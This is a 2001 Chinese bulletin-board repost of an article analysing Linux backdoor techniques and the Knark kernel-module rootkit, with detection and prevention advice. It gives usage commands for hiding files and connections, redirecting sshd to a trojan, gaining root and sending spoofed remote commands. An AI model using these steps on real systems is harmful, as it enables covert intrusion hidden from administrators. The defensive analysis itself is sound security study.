荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjk (pq), 信区: Security
标  题: 后门技术及rootkit工具-Knark分析及防范(转寄)
发信站: 荔园晨风BBS站 (Thu Nov 29 06:45:26 2001), 转信

【 以下文字转载自 jjk 的信箱 】
【 原文由 jjksam@smth.org 所发表 】
发信人: os (security), 信区: Security
标  题: 后门技术及rootkit工具-Knark分析及防范(转寄)
发信站: BBS 水木清华站 (Thu Nov 29 00:32:50 2001)

文章主题:后门技术及rootkit工具-Knark分析及防范

来源:Linuxaid.com.cn ideal
发布时间:8/17/2001


摘要:本文讨论了Linux环境下攻击者入侵成功以后常常使用的一些
后门技术,并且对最著名的rootkit工具之一—knark进行了详细的
分析,并且指出了在发现系统被入侵以后如何发现是否是kark及如何
恢复。

注意:本文是用于管理员学习之用,不可用于进行网络攻击否则带来
的任何法律后果自行负责。本文作者不对由于本文导致的任何后果负
任何责任。

一、什么是"rootkit"?

    入侵者入侵后往往会进行清理脚印和留后门等工作,最常使用的
后门创建工具就是rootkit。不要被名字所迷惑,这个所谓的
“rootkit”可不是给超级用户root用的,它是入侵者在入侵了一台
主机后,用来做创建后门并加以伪装用的程序包。这个程序包里通常
包括了日志清理器,后门等程序。同时,程序包里通常还带有一些伪
造的ps、ls、who、w、netstat等原本属于系统本身的程序,这样的
话,程序员在试图通过这些命令查询系统状况的时候,就无法通过
这些假的系统程序发觉入侵者的行踪。

    在一些黑客组织中,rootkit (或者backdoor) 是一个非常感兴趣
的话题。各种不同的rootkit被开发并发布在internet上。在这些
rootkit之中, LKM尤其被人关注, 因为它是利用现代操作系统的模块
技术。作为内核的一部分运行,这种rootkit将会越来越比传统技术更
加强大更加不易被发觉。一旦被安装运行到目标机器上, 系统就会完
全被控制在hacker手中了。甚至系统管理员根本找不到安全隐患的痕
迹, 因为他们不能再信任它们的操作系统了。后门程序的目的就是甚
至系统管理员企图弥补系统漏洞的时候也可以给hacker系统的访问权
限。

    入侵者通过:设置uid程序, 系统木马程序, cron后门等方法来
                实现入侵者以后从非特权用户使用root权限。

    *设置uid程序。 黑客在一些文件系统理放一些设置uid脚本程序。
无论何时它们只要执行这个程序它们就会成为root。

    *系统木马程序。黑客替换一些系统程序,如"login"程序。因此,
             只要满足一定的条件,那些程序就会给黑客最高权限。

    *Cron后门。黑客在cron增加或修改一些任务,在某个特定的时间
               程序运行,他们就可以获得最高权限。

    具体可能通过以下方法给予远程用户以最高访问权限: ".rhost"
文件, ssh认证密钥, bind shell, 木马服务程序。

    *".rhosts" 文件。一旦 "+ +"被加入某个用户的.rhosts文件里,
任何人在任何地方都可以用这个账号来登陆进来而不需要密码。

    *ssh认证密钥。黑客把他自己的公共密钥放到目标机器的ssh配置
文件"authorized_keys"里, 他可以用该账号来访问机器而不需要密
码。

    *Bind shell。黑客绑定一个shell到一个特定的tcp端口。任何
人telnet这个端口都可以获得交互的shell。更多精巧的这种方式的
后门可以基于udp,或者未连接的tcp, 甚至icmp协议。

    *Trojaned服务程序。任何打开的服务都可以成为木马来为远程
用户提供访问权限。例如, 利用inetd服务在一个特定的端口来创建
一个bind shell,或者通过ssh守护进程提供访问途径。
    在入侵者植入和运行后门程序之后, 他会设法隐藏自己存在的
证据,这主要涉及到两个方面问题: 如何来隐藏他的文件且如何来
隐藏他的进程。

    为了隐藏文件, 入侵者需要做如下事情: 替换一些系统常用命
令如"ls", "du", "fsck"。在底层方面, 他们通过把硬盘里的一些
区域标记为坏块并把它的文件放在那里。或者如果他足够疯狂,他
会把一些文件放入引导块里。

    为了隐藏进程, 他可以替换 "ps"程序, 或者通过修改argv[]来
使程序看起来象一个合法的服务程序。有趣的是把一个程序改成中
断驱动的话,它就不会出现在进程表里了。


RootKit-Knark的历史

     Knark是第二代的新型rootkit工具-其基于LKM(loadable
kernel module)技术,使用这种技术可以有效地隐藏系统的信息。
作者在代码和README文件中都标注有不承担责任的声明,声明该
代码不可以被用作非法活动。然而该软件可以容易地被用于这种
目的。

     Knark是由creed@sekure.net编写的,主要基于
http://www.dataguard.no/bugtraq/1997_4/0059.html中
Runar Jensen编写的代码heroin.c,设计思想主要来自于Phrack 52
中plaguez发表的文章Weakening the Linux Kernel"。在重新编写了
heroin.c的大部分代码以后,Creed决定重新命名为"Knark",在瑞典
语中是指吸毒者。Creed编写的其他软件可以在
www.sekure.net/~happy-h/得到,但是由于该站点只有瑞典语版本,
因此应用并不广泛。

     Knark的第一个公开版本是0.41,发布于June, 1999。可以在
B4B0 #9中索引到它:
http://packetstorm.securify.com/mag/b4b0/b4b0-09.txt。随后
0.50和0.59被发布,当前版本是0.59。可以从这里下载0.59版。
(注:现在packetstorm上最新的为2.4.3)

Knark特性

     Knark0.59具有以下特性:

    *隐藏或显示文件或目录
    *隐藏TCP或UDP连接
    *程序执行重定向
    *非授权地用户权限增加("rootme")
    *改变一个运行进程的UID/GID的工具
    *非授权地、特权程序远程执行守护进程
    *Kill –31来隐藏运行的进程

    联合使用程序执行重新定向和文件隐藏,入侵者能提供各种后门
程序执行。由于执行重定向是在内核级别进行的,因此文件检测工具
不会发现程序文件被修改-原始的执行程序并没有被修改,因此配置
检测工具在路径环境中也不会发现任何异常。

    如果Knark结合另外一个用来隐藏系统当前加载的模块的LKM工具
modhide,就可能实现甚至通过lsmod命令也不能发现knark的存在。
Knark软件包的安装和使用

    该软件包的核心软件是knark,c,它是一个Linux LKM(loadable
kernel-module)。运行命令"make"来编译knark软件包,通过
"insmod knark"命令来加载该模块。当knark被加载,隐藏目录
/proc/knark被创建,该目录下将包含以下文件:

    author 作者自我介绍
    files 系统中隐藏文件列表
    nethides 在/proc/net/[tcp|udp]隐藏的字符串
    pids 被隐藏的pids列表,格式类似于ps命令输出
    redirects 被重定向的可执行程序入口列表

    该软件包编译以后将有下面这些工具软件(它们都依赖于被加载
的模块knark.o。除了taskhack.c,其用于直接修改/dev/kmem)
hidef 用于在系统中隐藏文件
在/usr/lib目录下创建子目录hax0r,然后运行命令".
/hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令
都不能显示该目录及其子目录。

unhidef 用来恢复被隐藏的文件

你可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件。
通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏。
但是这里有个小小的bug,使得被隐藏的目录在/proc/knark/files中
显示的是其加载开始的路径,也就是说如果系统有一个文件系统加载
在/mnt,你隐藏了/mnt/secret,则在/proc/knark/files中显示的被
隐藏的目录为/secret。因此不会影响根文件被隐藏的目录。

ered 用来配置重定向程序的执行

拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后
运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",
这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马
版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重
定向。

nethide 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串

netstat命令就不会得到指定的链接信息。通过命令/nethide ":
ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。
也就是对/proc/net/[tcp|udp]读取时进行"grep -v"操作。
你必需理解使用该程序从/proc/net/[tcp|udp]得到的输出的意义。
假设系统运行有sshd,那么连接到本地22端口以后,运行
"netstat -at",则输出可能包含:

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED

现在我们来检测文件/proc/net/tcp:

cat /proc/net/tcp

则输出可能包含入下内容:

local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01
接上00000000:00000000 00:00000000 00000000

若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如
上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22
号端口相关的内容就要使用0100007F:0016来标识该链接。因此

./nethide "0100007F:0016"

将隐藏to/from localhost:22相关的链接信息。

./nethide ":ABCD "

来去除隐藏。

rootme 用来实现非特权用户获得root访问权限

./rootme /bin/sh
就可以实现以root身份运行/bin/sh。

./rootme /bin/ls -l /root
则是仅仅以root身份运行单个命令。

taskhack 用来改变某个运行着的进程的uid和gid

./taskhack -alluid=0 pid
该命令将进程pid的所有*uid's
(uid, euid, suid, fsuid)为0 (root).

ps aux | grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

现在来改变该进程的euid为0:

./taskhack -euid=0 91

ps aux | grep bash
root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

rexec 用来远程执行knark-server的命令:

./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER

这命令将从www.microsoft.com:53发送一个伪装的udp数据包到
haxored.server.nu:53,来运行haxored.server.nu的命令
"/bin/touch /LUDER"


入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下
创建的隐藏子目录,如/dev/.ida/.knard等等。

检测系统是否被安装了Knark

Knark的作者Creed,发布了一个工具:knarkfinder.c来发现Knark
隐藏的进程。

检查系统是否安装有Knark的最直接有效的方法是以非特权用户身份
来运行Knark的一个软件包如:rootme,看该用户是否能获得root权
限。由于目前Knark目前没有认证机制,因此入股系统被安装了Knark
任何一个本地用户运行这个程序都能获得root权限。

还有一个最有效的发现系统是否被knark或者类似的rootkit所感染的
方法就是使用kstat来检测,具体参考本站的Nexeon写的解决方案文章
:检测LKM rootkit。

Knark防范

防止knark最有效的方法是阻止入侵者获得root权限。但是在使用一
切常规的方法进行安全防范以后,防止knark之类的基于LKM技术的
rootkit的方法是:

    *创建和使用不支持可加载模块的内核,也就是使用单块内核。
这样knark就不能插入到内核中去了。

    *使用lcap (http://pweb.netcom.com/~spoon/lcap/)实现系统
启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块。然
而这种方法存在一定的问题,入侵者可以在获得root权限以后修改启
动脚本,在lcap启动之前来加载knark模块从而逃避lcap的限制。 '

--

※ 修改:·os 於 Nov 29 00:48:43 修改本文·[FROM:    166.111.4.64]
※ 来源:·BBS 水木清华站 smth.org·[FROM: 166.111.4.64]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店